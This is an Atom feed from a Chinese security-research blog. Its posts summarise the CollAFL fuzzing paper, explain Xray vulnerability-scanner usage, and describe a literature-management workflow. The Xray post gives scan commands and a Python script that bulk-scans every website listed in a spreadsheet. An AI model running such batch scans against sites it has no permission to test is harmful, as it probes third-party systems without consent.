<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>WhiteRabbit的博客</title>
  
  
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://yoursite.com/"/>
  <updated>2023-03-17T02:06:29.610Z</updated>
  <id>http://yoursite.com/</id>
  
  <author>
    <name>qZwZp</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CollAFL_在提高代码覆盖精确度背景下优化漏洞挖掘效果</title>
    <link href="http://yoursite.com/2023/03/12/prlw/"/>
    <id>http://yoursite.com/2023/03/12/prlw/</id>
    <published>2023-03-12T12:08:32.000Z</published>
    <updated>2023-03-17T02:06:29.610Z</updated>
    
    <content type="html"><![CDATA[<p>这是一篇来自于IEEE TDSC的文章分享，文章名为《Path Sensitive Fuzzing for Native Applications》。其关注点是模糊测试中代码覆盖这一环节的精确度，由此进一步去提高模糊测试的准确性。</p><a id="more"></a><h2 id="浅谈背景信息"><a href="#浅谈背景信息" class="headerlink" title="浅谈背景信息"></a>浅谈背景信息</h2><p>模糊测试经过长时间的发展，逐渐形成了适合不同领域的模糊策略，其中最为普适且有着较好测试效果的当属基于覆盖引导的模糊测试，其根据代码覆盖率对种子调度进行指导，切合实际测试效果给出指导，在很多领域均取得极佳的漏洞挖掘效果。但是基于覆盖引导的模糊测试受制于仪器开销等物理因素、执行路径爆炸等理论因素，得到的多为粗略覆盖信息。此处仅以最常见的AFL为例，AFL采用一张存有边命中数量的紧凑位图，通过静态分析获取覆盖率信息，但是随机生成的哈希算法却有可能时两条不同的边具有相同的哈希值，这就会知道在位图中二则的记录相同，如此统计出来的覆盖率精度必然有所损失。</p><p>考虑到AFL技术作为最基础的模糊测试技术，对各种现实程序有着较好的适应效果。本文在AFL技术的基础上对其在哈希冲突方面的问题进行优化，并由此引申出三种全新的模糊策略，这些在精度提高的覆盖信息上有着很好的效果。本文的贡献有以下几点：</p><p>01 证实了哈希冲突对于边覆盖信息的精确度有着极大的影响。</p><p>02 设计出解决哈希冲突的算法，同时保持低开销，高精度。</p><p>03 在提高了覆盖信息的精确度后，提出了新的模糊测试策略。</p><p>04 在本文的方法上衍生出两个变体，用于测试无源码的测试程序。</p><h2 id="分析如今代码覆盖准确率低的源头何在"><a href="#分析如今代码覆盖准确率低的源头何在" class="headerlink" title="分析如今代码覆盖准确率低的源头何在"></a>分析如今代码覆盖准确率低的源头何在</h2><p>覆盖引导的模糊器其漏洞挖掘效果很大程度上受到覆盖信息准确度的影响。由于在现实程序中跟踪所有路径覆盖时不可行的，主流方法主要考虑跟踪基本块覆盖率及边覆盖率。但是由边覆盖可以推导出块覆盖，反之则不然。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20090810.png" alt=""></p><p>如图所示，两个程序P1和P2,他们共享大部分边，但是其在函数foo中的子路径不同，他们的块覆盖完全相同，但是其边覆盖不同，比如其中的B1→C1仅存在于路径P1中。</p><p>因此本文的主要思想还是建立在考虑边覆盖来标识覆盖信息上，而主流的使用边覆盖的方法AFL，却面临着哈希冲突带来的覆盖信息误差大的问题。</p><p>哈希冲突问题的根源在于AFL在使用位图来跟踪应用程序边覆盖的时候，边使用随机的哈希值来标识，但是由于算法的随机性，两条不同的边可能具有相同的哈希值，这使得模糊器无法区分这样的两条边，最终导致覆盖信息不准确。</p><p>一直以来，AFL技术的显著漏洞挖掘效果，掩盖了其中覆盖信息精度极低的问题，甚至由部分程序，边碰撞率高达70%以上，提高覆盖信息精度给漏洞挖掘工作带来的收益是极大的。</p><h2 id="为解决哈希冲突问题而具体情况具体分析"><a href="#为解决哈希冲突问题而具体情况具体分析" class="headerlink" title="为解决哈希冲突问题而具体情况具体分析"></a>为解决哈希冲突问题而具体情况具体分析</h2><p>现实程序中的基本块一般可分为三类，根据其前置块（precedent）的数量先分为由多个前置块和单个前置块两种，再对多个前置块进行接下来的分析做进一步区分。之所以根据前置块数量区分，是由于从哈希算法给边分配哈希值的角度触发，对于多前置块，即多条如边的块，其处理方式与单前置块，单入边的块处理方式不同。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20092848.png" alt=""></p><p>公式中的关键在于x,y,z三个参数的选取，其中y值同一程序取值相同，而x，z的值则通过遍历的方法，其判断条件为所有多前置块的基本块其参数选取均不同，在此基础之上，可以保证所有边的散列值不同，从而缓解哈希冲突问题。其伪代码如下。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20094214.png" alt=""></p><p>如代码中显示，在选取参数时采用贪婪算法实现，但是其中会存在不可解析块，对此，在为其设计有针对性的哈希值分配方法。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20093955.png" alt=""></p><p>这里需要注意的是，不可解析的块的参数分配是在可解析块结束后，构建一个哈希表，表中会筛选掉可解析快已经使用的哈希值，转而从未使用的哈希中选取唯一的哈希值给以不可解析快结尾的边，这一步操作均可在离线状态下完成，降低实验的时间开销。其思想如下图。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20094726.png" alt=""></p><p>至此，所有多前置块都已被处理殆尽，还剩下的单前置块，这里根据前置操作中构造的Freehashes表获取此时位图中还剩下的哈希值，赋给剩下的但前置块，这一步也可以通过离线操作完成。</p><h3 id=""><a href="#" class="headerlink" title=""></a><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20095105.png" alt=""></h3><p>三类基本块的处理方法中，由多前置块的基本块解析操作，遍历寻求参数均需要较大的开销，最终三者的时间开销方面。</p><p><em>cost(Fhash) &gt; cost(Fmul) &gt; cost(Fsingle) ≈ 0</em></p><p>但是在现实程序中，三者的数量却区别极大，其中绝大多数为但前置块的Fsingle算法，一部分多前置块，可解析的Fmul算法，而剩下的Fhash算法对应的不可解析多前置块的情况只有极少数，几乎可以忽略不计，这也使得其带来的高昂计算成本在现实程序中的影响不大。</p><h2 id="高精度覆盖信息所带来的全新模糊策略"><a href="#高精度覆盖信息所带来的全新模糊策略" class="headerlink" title="高精度覆盖信息所带来的全新模糊策略"></a>高精度覆盖信息所带来的全新模糊策略</h2><p>在拥有了准确的代码覆盖信息后，本文提出以下三个全新的模糊测试策略：</p><p>1.对于一条路径，倘若有多个未被探索的分支，那么对该路径的突变可能会探索那些分支。</p><p>2.对于一条路径，倘若其未被探索的分支有多个后代，那么对该路径突变有可能会探索那些后代。</p><p>3.考虑到最终目标是提高漏洞挖掘效率，那如果一个路径有多次内存访问操作，对其突变可能触发潜在的内存相关崩溃，漏洞。</p><p>基于这样的三个思想，从以下三个角度提出全新的模糊策略。</p><h3 id="（一）其执行路径有着多个未覆盖分支的种子"><a href="#（一）其执行路径有着多个未覆盖分支的种子" class="headerlink" title="（一）其执行路径有着多个未覆盖分支的种子"></a>（一）其执行路径有着多个未覆盖分支的种子</h3><p>这里会给予那些未覆盖分支以权重，通过加权的方式来衡量这些种子提高代码覆盖，探索未覆盖领域的能力。此方法记为CollAFL-br。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20103319.png" alt=""></p><p>图中<em>IsUntouched()</em>的值将根据边是否被覆盖表示为0（未覆盖）或1（已覆盖）。</p><h3 id="（二）对于未覆盖分支的后代对提高代码覆盖的影响。"><a href="#（二）对于未覆盖分支的后代对提高代码覆盖的影响。" class="headerlink" title="（二）对于未覆盖分支的后代对提高代码覆盖的影响。"></a>（二）对于未覆盖分支的后代对提高代码覆盖的影响。</h3><p>这里需先统计种子执行路径下的未覆盖分支，随后根据这些分支计算其后代的数量。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20103808.png" alt=""></p><p>这个方法标识未CollAFL-Desc，其计算的权重<em>Weight_Desc()</em>是一个动态结果，其具体值随着模糊测试过程中，未覆盖边<em>IsUntouched()</em>值的变化而变化，但是考虑到每个未覆盖块的后代数量是确定的，这一步计算为静态值，即</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20104133.png" alt=""></p><p>该计算可以在离线情况下完成。</p><h3 id="（三）关于高内存访问在漏洞挖掘中的影响。"><a href="#（三）关于高内存访问在漏洞挖掘中的影响。" class="headerlink" title="（三）关于高内存访问在漏洞挖掘中的影响。"></a>（三）关于高内存访问在漏洞挖掘中的影响。</h3><p>这里从种子执行路径中，内存访问次数为加权目标，计算其是否有希望发现内存漏洞，之所以这里着重强调内存相关漏洞，是由于在历史研究中表明，内存相关漏洞在总的漏洞中占比较高。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20104421.png" alt=""></p><h2 id="具体实验来论证文章观点"><a href="#具体实验来论证文章观点" class="headerlink" title="具体实验来论证文章观点"></a>具体实验来论证文章观点</h2><p>实验选择了24个开源Linux应用程序的最新版本，包括主流工具，图像处理库，音频视频处理工具，文档处理工具等，主要参考要素是其在社区中受欢迎程度，发展活跃度。此外还对带有4个设置好漏洞的LAVA-M数据集进行评估。</p><p>实验中对CollAFL和其三种不同模糊策略-br，-desc，-mem都进行了评估。实验中设置的虚拟机使用2 GHz Intel CPU和1GB RAM，Ubuntu版本为15.10.</p><h3 id="哈希冲突对覆盖信息准确率的影响有多少"><a href="#哈希冲突对覆盖信息准确率的影响有多少" class="headerlink" title="哈希冲突对覆盖信息准确率的影响有多少"></a>哈希冲突对覆盖信息准确率的影响有多少</h3><p>AFL在计算边命中信息时，采用的位图默认为64KB大小，对于哈希冲突问题，传统想法有扩大位图从而减小边碰撞概率，事实上，扩大位图确实在一定程度上缓解了碰撞问题。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20111237.png" alt=""></p><p>如图，在位图扩大到1MB以后，边碰撞比已经是一个较低的状态。但是需要注意的是，模糊器在获取到覆盖信息后，准备进行下一步指导种子调度等操作时，需要去查询位图获取边命中情况，这里就需要对位图进行遍历，倘若贸然地扩大位图，这给模糊器每次访问带来的时间开销将会是几何级增长。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20111526.png" alt=""></p><p>显然，在位图扩大的过程中，所有程序的执行速度均大幅度下降，对比降低边碰撞比的收益和其带来的巨额时间开销，简单扩大位图的操作，是一种低收益的操作。哈希冲突对于代码覆盖精度的影响不能简单通过扩大位图去改善。</p><h3 id="本文提出的CollAFL技术在代码覆盖方面的表现"><a href="#本文提出的CollAFL技术在代码覆盖方面的表现" class="headerlink" title="本文提出的CollAFL技术在代码覆盖方面的表现"></a>本文提出的CollAFL技术在代码覆盖方面的表现</h3><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20111849.png" alt=""></p><p>如图所示，200个小时内，不同模糊器在11个应用程序上的探索路径总数上，CollAFL平均多找到了9.9%的路径，其中尤其是考虑未覆盖分支的模糊策略-br，其平均多发现了20.78%的路径。而和相对比AFL-fast，即优先考虑低访问次数的路径，CollAFL表现出更优的路径覆盖率，平均多找到8.45%的路径。</p><h3 id="CollAFL在发现独特崩溃方面的能力"><a href="#CollAFL在发现独特崩溃方面的能力" class="headerlink" title="CollAFL在发现独特崩溃方面的能力"></a>CollAFL在发现独特崩溃方面的能力</h3><p>除了代码覆盖率，漏洞挖掘的效果很大程度上也要取决于特殊崩溃的发现，进而联系到发现的漏洞数量，二者大体是正相关的。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20132814.png" alt=""></p><p>从图中发现，以所有模糊器发现崩溃数的平均值为基线，CollAFL对比AFL和AFL-fast均有更优表现。其中最突出的两条，表明CollAFL衍生出的新模糊策略在一些具体的程序上有着特别优秀的表现。</p><p>最终该方法确定了157个漏洞，这些漏洞在提交给开发者后均证实为程序存在的问题。</p><h3 id="面对现实程序的随机性表现如何"><a href="#面对现实程序的随机性表现如何" class="headerlink" title="面对现实程序的随机性表现如何"></a>面对现实程序的随机性表现如何</h3><p>在衡量测试随机性时，选择对同一程序进行20次漏洞挖掘，分析其中多少次发现了漏洞，耗时多久，由此判断测试方法应对现实程序的测试随机性如何。</p><p><img src="https://picture.whiterabbitxyj.com/blogPicture/CollAFL_pr0306/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-03-02%20141354.png" alt=""></p><p>在测试程序中，Exiv2的随机性最大，在其上的测试中CollAFL仍优于AFL技术，除了意外，多数程序上，CollAFL技术均能实现20此实验全部或基本上都挖掘到漏洞，且用时也较短。</p><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>本文研究了覆盖引导模糊器中覆盖误差的负面影响。我们提出了一种覆盖敏感模糊解决方案CollAFL，它解决了最先进的fuzzer AFL中的散列冲突问题，在保持低仪器开销的同时实现更准确的边缘覆盖信息。本文还提出三种模糊策略，经实验证明效果更优。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;这是一篇来自于IEEE TDSC的文章分享，文章名为《Path Sensitive Fuzzing for Native Applications》。其关注点是模糊测试中代码覆盖这一环节的精确度，由此进一步去提高模糊测试的准确性。&lt;/p&gt;
    
    </summary>
    
    
      <category term="论文分享" scheme="http://yoursite.com/tags/%E8%AE%BA%E6%96%87%E5%88%86%E4%BA%AB/"/>
    
      <category term="漏洞挖掘" scheme="http://yoursite.com/tags/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
  </entry>
  
  <entry>
    <title>扫描工具Xray使用方法</title>
    <link href="http://yoursite.com/2022/12/30/xrayab/"/>
    <id>http://yoursite.com/2022/12/30/xrayab/</id>
    <published>2022-12-30T10:39:32.000Z</published>
    <updated>2023-01-09T05:29:57.316Z</updated>
    
    <content type="html"><![CDATA[<p>当我们需要寻找一个网站的漏洞时，自动化漏洞扫描工具XRAY是一个不错的选择，省时省力，还可以通过编写代码实现对批量网站的自动扫描。</p><a id="more"></a><h2 id="1-XRAY简介"><a href="#1-XRAY简介" class="headerlink" title="1. XRAY简介"></a>1. XRAY简介</h2><p>根据官方文档介绍，XRAY目前支持的漏洞检测类型包括:</p><ul><li>XSS漏洞检测 (key: xss)</li></ul><ul><li>SQL 注入检测 (key: sqldet)</li><li>命令/代码注入检测 (key: cmd-injection)</li><li>目录枚举 (key: dirscan)</li><li>路径穿越检测 (key: path-traversal)</li><li>XML 实体注入检测 (key: xxe)</li><li>文件上传检测 (key: upload)</li><li>弱口令检测 (key: brute-force)</li><li>jsonp 检测 (key: jsonp)</li><li>ssrf 检测 (key: ssrf)</li><li>基线检查 (key: baseline)</li><li>任意跳转检测 (key: redirect)</li><li>CRLF 注入 (key: crlf-injection)</li><li>Struts2 系列漏洞检测 (高级版，key: struts)</li><li>Thinkphp系列漏洞检测 (高级版，key: thinkphp)</li><li>POC 框架 (key: phantasm)</li></ul><p>大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。并且作为为一款安全辅助评估工具，而不是攻击工具，内置的所有 payload 和 poc 均为无害化检查。还可以通过配置文件对功能进行定制。扫描结果有四种输出方式，分笔试屏幕输出、JSON文件输出、HTML报告输出和Webhook输出。</p><h2 id="2-运行"><a href="#2-运行" class="headerlink" title="2. 运行"></a>2. 运行</h2><p>XRAY提供了三种扫描模式，分别是代理模式、基础爬虫模式和服务模式，每种扫描模式各有优劣，选择适合自己需求的扫描模式使用即可。</p><h3 id="2-1-代理模式扫描"><a href="#2-1-代理模式扫描" class="headerlink" title="2.1 代理模式扫描"></a>2.1 代理模式扫描</h3><p>当XRAY作为浏览器代理进行工作时，它会作为中间人将浏览器的请求和服务器的响应原样转发，但会记录下浏览器的访问对象，对访问对象进行漏洞扫描工作。</p><p>若浏览器使用https协议进行通行，我们首先应配置CA证书，获取浏览器的信任后才可作为代理工作。XRAY有自动生成CA证书的命令。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">.\xray_windows_amd64.exe genca</div></pre></td></tr></table></figure><p>获取CA证书后，依照自己使用的浏览器，进行证书添加即可。添加完证书后，不要忘记对浏览器进行相应的代理配置。准备工作完成后，输入下方命令即可运行XRAY代理。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xray-testphp.html</div></pre></td></tr></table></figure><p>开启运行后，XRAY就会对我们使用浏览器访问的网页进行自动扫描了。</p><h3 id="2-2-基础爬虫模式扫描"><a href="#2-2-基础爬虫模式扫描" class="headerlink" title="2.2 基础爬虫模式扫描"></a>2.2 基础爬虫模式扫描</h3><p>爬虫模式与代理模式的不同之处在于，在命令行输入需要扫描的对象即可进行扫描，与编程语言结合使用时，还可实现对批量网站的自动化后台扫描。但该模式有一个缺点，不能处理js渲染的页面。</p><p>运行爬虫模式的命令为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">./xray_windows_amd64 webscan --basic-crawler http://testphp.vulnweb.com/ --html-output xray-crawler-testphp.html</div></pre></td></tr></table></figure><h3 id="2-3-服务模式扫描"><a href="#2-3-服务模式扫描" class="headerlink" title="2.3 服务模式扫描"></a>2.3 服务模式扫描</h3><p>XRAY的常用功能是web扫描，但其在逐渐研发服务扫描的相关能力，目前主要是服务扫描相关的 poc。目前只有一个 tomcat-cve-2020-1938 ajp 协议任意文件检测 poc。</p><p>目前支持两种扫描方式，分别问检测单个目标和批量检测文件中的多个目标：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">./xray servicescan --target 127.0.0.1:8009</div><div class="line">./xray servicescan --target-file 1.file</div></pre></td></tr></table></figure><h2 id="3-实现批量自动扫描"><a href="#3-实现批量自动扫描" class="headerlink" title="3. 实现批量自动扫描"></a>3. 实现批量自动扫描</h2><p>这里为大家介绍使用PYTHON编写自动扫描脚本的方法</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</div><div class="line"><span class="keyword">import</span> subprocess</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">xray</span><span class="params">(host)</span>:</span></div><div class="line">    </div><div class="line">    <span class="comment"># 将域名作为HTML输出文件的文件名，存储该网站链接的扫描结果</span></div><div class="line">    <span class="comment"># 使用subprocess.Popen方法创建子程序执行XRAY命令</span></div><div class="line">    <span class="comment"># 调用wait方法，一次只扫描一个网站链接，可根据性能对并发度进行调整</span></div><div class="line">    name = host.replace(<span class="string">'https://'</span>, <span class="string">''</span>).replace(<span class="string">'http://'</span>, <span class="string">''</span>).replace(<span class="string">'/'</span>, <span class="string">''</span>)</div><div class="line">    cmd = [<span class="string">"xray"</span>, <span class="string">"webscan"</span>, <span class="string">"--basic-crawler"</span>]</div><div class="line">    cmd += [host]</div><div class="line">    cmd += [<span class="string">"--json-output"</span>, name]</div><div class="line">    p = subprocess.Popen(cmd)</div><div class="line">    p.wait()</div><div class="line"></div><div class="line"></div><div class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</div><div class="line"></div><div class="line">    <span class="comment"># 读取data文件，提取data文件中的网站链接</span></div><div class="line">    <span class="comment"># 对每一个网站链接，执行相应的xray扫描命令，扫描模式为基础爬虫模式</span></div><div class="line">    xlsx = pd.ExcelFile(<span class="string">r'data.xlsx'</span>)</div><div class="line">    sheet1 = pd.read_excel(xlsx, <span class="string">'Sheet1'</span>)</div><div class="line">    <span class="keyword">for</span> host <span class="keyword">in</span> sheet1[<span class="string">'网站链接'</span>]:</div><div class="line">        xray(host)</div><div class="line">    xlsx.close()</div></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;当我们需要寻找一个网站的漏洞时，自动化漏洞扫描工具XRAY是一个不错的选择，省时省力，还可以通过编写代码实现对批量网站的自动扫描。&lt;/p&gt;
    
    </summary>
    
    
      <category term="ctf" scheme="http://yoursite.com/tags/ctf/"/>
    
      <category term="漏洞挖掘" scheme="http://yoursite.com/tags/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
  </entry>
  
  <entry>
    <title>科研工作流</title>
    <link href="http://yoursite.com/2022/11/09/sciresworkflow/"/>
    <id>http://yoursite.com/2022/11/09/sciresworkflow/</id>
    <published>2022-11-09T10:39:32.000Z</published>
    <updated>2022-11-09T11:08:20.414Z</updated>
    
    <content type="html"><![CDATA[<p>老白兔今天总结一下自己论文查找、阅读、记录的工作流。主要包含三部分内容：</p><ul><li><strong>文献管理</strong>：使用Zotero管理文献</li><li><strong>文献阅读</strong>：在Windows平台上实现Zotero与笔记应用Obsidian跨应用联动</li><li><strong>数据跨平台同步</strong>：文献PDF文件与Obsidian笔记在Windows, iOS, Android全平台同步</li></ul><a id="more"></a><h2 id="1-使用Zotero管理文献"><a href="#1-使用Zotero管理文献" class="headerlink" title="1. 使用Zotero管理文献"></a>1. 使用Zotero管理文献</h2><p>Zotero是一个免费开源的文献管理工具，可以轻松地收集、管理、阅读和引用文献。</p><p>Zotero的功能可以参考：<a href="https://zhuanlan.zhihu.com/p/98428625" target="_blank" rel="external">Zotero的操作指南</a></p><h3 id="1-1-Zotero文献收集"><a href="#1-1-Zotero文献收集" class="headerlink" title="1.1 Zotero文献收集"></a>1.1 Zotero文献收集</h3><p>Zotero有三种文献收集方式：</p><ul><li>导入已下载在本地的PDF文件</li><li>输入文献DOI自动获取文献PDF文件</li><li>使用浏览器插件Zotero Connector自动导入当前网页中的文献</li></ul><p>Zotero自动导入文献后，会自动解析PDF元数据，提取标题、作者、摘要等信息。</p><h3 id="1-2-Zotero文献管理"><a href="#1-2-Zotero文献管理" class="headerlink" title="1.2 Zotero文献管理"></a>1.2 Zotero文献管理</h3><p>随着论文愈看愈多，为了解决大量PDF文件的管理问题，Zotero提供了Collection功能。实际上就类似于在文件管理系统中创建文件夹，将一个个文献归入相关文件夹中。Zotero的优势就是支持引用，允许一个文献归入多个不同Collection中。</p><p>如果只是Collection功能完全不够，还需要辅以ZotFile插件，在配置后可以自动根据配置重命名、移动文件，使用WebDav实现跨平台同步。</p><p>使用ZotFile自动组织PDF文件可以参考：<a href="https://www.cnblogs.com/jianghaonan0818/p/15376754.html" target="_blank" rel="external">zotero文献管理器插件：ZotFile的安装和使用</a></p><p>两个小建议：</p><ul><li>文件组织：使用Collection层级关系作为PDF文件的相对路径</li><li>重命名：使用年份+文章标题为PDF文件重命名</li></ul><blockquote><p>看官可能不禁产生疑问，为什么要使用ZotFile对文献重新组织、重命名呢？不做这一步操作依旧可以正常使用Zotero原生的Collection功能进行文献管理与阅读。</p><p>如果只在一台电脑上工作，没有多主机、跨平台同步，确实Collection就够了。但如果需要台式机、笔记本多主机同步文件，手机、平板以至于Web端跨平台阅读，Zotero默认的杂乱无章的文件组织方式就满足不了需求了。</p><p>借助ZotFile，自动使用文件夹对PDF文件的组织方式进行重组，方便在不同应用中查找、阅读。</p></blockquote><h3 id="1-3-PDF文件的跨平台同步"><a href="#1-3-PDF文件的跨平台同步" class="headerlink" title="1.3 PDF文件的跨平台同步"></a>1.3 PDF文件的跨平台同步</h3><p>辛辛苦苦在ZotFile上配置文件组织、重命名规则，就是为了这一步<strong>文件跨平台同步</strong>。</p><p>其主要原理就是<strong>支持WebDav协议的客户端</strong>和<strong>支持WebDav协议的云存储服务商</strong>之间，通过WebDav协议进行通信，实现文件的存储和下载。在Zotero中，由ZotFile插件实现对WebDav协议的支持。</p><p>使用坚果云作为<strong>云存储服务商</strong>的解决方案可以参考：<a href="https://www.jianshu.com/p/5a9ceee33fac" target="_blank" rel="external">Zotero+坚果云WebDAV实现跨平台同步</a></p><p>以上，成功将本地文献同步至支持WebDav协议的云盘中。接下来就是使用另一个平台上的<strong>支持WebDav协议的客户端</strong>，将云盘中的文献同步到本地使用。</p><ul><li>可以是另一台Windows主机上的坚果云客户端，实现不同主机上的无缝同步。</li><li>可以是iPad上的PDF Expert（<a href="https://help.jianguoyun.com/?p=3482" target="_blank" rel="external">PDF Expert打开坚果云里的文件</a>），在iPad上阅读文献。</li><li>可以是Android上的WPS（<a href="https://help.jianguoyun.com/?p=2622" target="_blank" rel="external">WPS打开坚果云里的文件</a>），在手机上阅读文献。</li></ul><p>三个小建议：</p><ul><li>坚果云免费空间太小，可以使用Koofr的云存储服务，免费空间充足。</li><li>Android端只是偶尔进行文献阅读，没有PDF标注数据同步的需求，可以使用Koofr自身所提供的Android客户端，下载之后使用相应阅读器打开。</li><li>iPad上会对PDF进行标注，使用PDF Expert通过WebDav协议连接Koofr，实现标注信息的实时同步。</li></ul><h2 id="2-Zotero与Obsidian的梦幻联动"><a href="#2-Zotero与Obsidian的梦幻联动" class="headerlink" title="2. Zotero与Obsidian的梦幻联动"></a>2. Zotero与Obsidian的梦幻联动</h2><p>上一节实现了使用Zotero随时随地，使用任何设备阅读文献。但阅读过程中不可避免的会想要对文献进行标注、关联，输出笔记、思维导图。随着阅读文献数量的增加，想要将具有某一相同主题的不同文献关联在一起，构建文献的<strong>知识图谱</strong>。作为MarginNote的重度用户，对于其点击引用直接跳转回原文的功能爱得深沉。</p><p>那么，有没有一款应用能支持一键导出Zotero中的笔记，支持构建知识图谱，支持点击引用跳转回Zotero中原文？答案是<strong>Obsidian</strong>。</p><p>用一句话描述Obsidian：支持双链的Markdown文件编辑、管理平台。其功能可以参考：<a href="https://sspai.com/post/67399" target="_blank" rel="external">Obsidian是什么以及它能用来做什么</a>。</p><p>如果只看其原生功能，也就双链功能可以解决我构建知识图谱的痛点。但是，同Zotero一样，其强大之处在于其让人眼花缭乱的插件支持。</p><p>如何使Obsidian与Zotero联动起来，像MarginNote般丝滑，参考：<a href="https://zhuanlan.zhihu.com/p/480911605" target="_blank" rel="external">Zotero和Obsidian联动最优解决方案</a>以及<a href="https://zhuanlan.zhihu.com/p/489141325" target="_blank" rel="external">最优解决方案的配置指南</a>。</p><h2 id="3-Obsidian笔记跨平台同步"><a href="#3-Obsidian笔记跨平台同步" class="headerlink" title="3. Obsidian笔记跨平台同步"></a>3. Obsidian笔记跨平台同步</h2><p>上一节实现Obsidian与Zotero的联动，但一想到文献的跨平台阅读，我们不禁又想拥有笔记的跨平台阅读。好在Obsidian拥有全平台客户端，现在的问题只是如何在不同平台上同步Markdown文件。</p><p>Markdown本身作为纯文本文件，使用Git进行版本控制、跨平台同步，pull到本地之后用Obsidian客户端打开即可。</p><ol><li>Github 创建私有仓库</li><li>Windows 上将Obsidian的Vault文件夹push到本地仓库中</li><li>Android 上使用spck editor作为git客户端拉取文件，使用Obsidian打开仓库</li><li>iOS设备上使用iSH作为git客户端，使用mount指令实现多应用间共享文件夹，参考<a href="https://zhuanlan.zhihu.com/p/565028534" target="_blank" rel="external">iOS上使用iSH的git同步obsidian</a></li></ol><h2 id="4-总结"><a href="#4-总结" class="headerlink" title="4. 总结"></a>4. 总结</h2><p>各平台工作流支撑软件汇总：</p><ul><li>Windows: Zotero, Obsidian, Koofr, Git</li><li>Android: Koofr, Spck Editor, Obsidian</li><li>iOS: PDF Expert, iSH, Obsidian</li><li>Cloud: Github, Koofr</li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;老白兔今天总结一下自己论文查找、阅读、记录的工作流。主要包含三部分内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文献管理&lt;/strong&gt;：使用Zotero管理文献&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文献阅读&lt;/strong&gt;：在Windows平台上实现Zotero与笔记应用Obsidian跨应用联动&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据跨平台同步&lt;/strong&gt;：文献PDF文件与Obsidian笔记在Windows, iOS, Android全平台同步&lt;/li&gt;
&lt;/ul&gt;
    
    </summary>
    
    
      <category term="科研" scheme="http://yoursite.com/tags/%E7%A7%91%E7%A0%94/"/>
    
      <category term="学术" scheme="http://yoursite.com/tags/%E5%AD%A6%E6%9C%AF/"/>
    
  </entry>
  
  <entry>
    <title>信息收集</title>
